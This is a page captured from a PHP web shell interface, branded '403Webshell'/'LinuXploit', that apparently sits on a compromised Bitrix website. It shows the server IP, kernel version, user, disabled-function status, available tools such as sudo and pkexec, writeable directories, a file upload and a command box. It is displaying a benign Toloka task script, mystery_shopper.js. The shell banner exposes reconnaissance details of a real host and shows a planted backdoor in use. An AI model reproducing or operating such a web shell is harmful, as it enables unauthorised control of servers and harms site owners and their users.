403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/preset/template_toloka/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/preset/template_toloka/mystery_shopper.js
exports.Task = extend(TolokaHandlebarsTask, function(options) {
	TolokaHandlebarsTask.call(this, options);
}, {
	validate: function(solution) {
		if (!this.getTask().videoPlayed)
		{
			return {
				task_id: this.getTask().id,
				errors: {
					"__TASK__": {
						message: "You didn't complete task"
					}
				}
			};
		}
		else
		{
			return TolokaHandlebarsTask.prototype.validate.apply(this, arguments);
		}
	},

	onRender: function() {
		var videos = this.getDOMElement().querySelectorAll("button");
		this.getTask().videoPlayed = false;
		for (var i = 0, l = videos.length; i < l; i++)
		{
			this.getTask().href = videos[i].getAttribute('data-href');
			videos[i].addEventListener('click', function() {
				window.open(this.getTask().href, '_blank');
				this.getTask().videoPlayed = true;
			}.bind(this));
		}
	}
});

function extend(ParentClass, constructorFunction, prototypeHash)
{
	constructorFunction = constructorFunction || function() {
	};
	prototypeHash = prototypeHash || {};

	if (ParentClass)
	{
		constructorFunction.prototype = Object.create(ParentClass.prototype);
	}
	for (var i in prototypeHash)
	{
		constructorFunction.prototype[i] = prototypeHash[i];
	}
	return constructorFunction;
}

Youez - 2016 - github.com/yon3zu
LinuXploit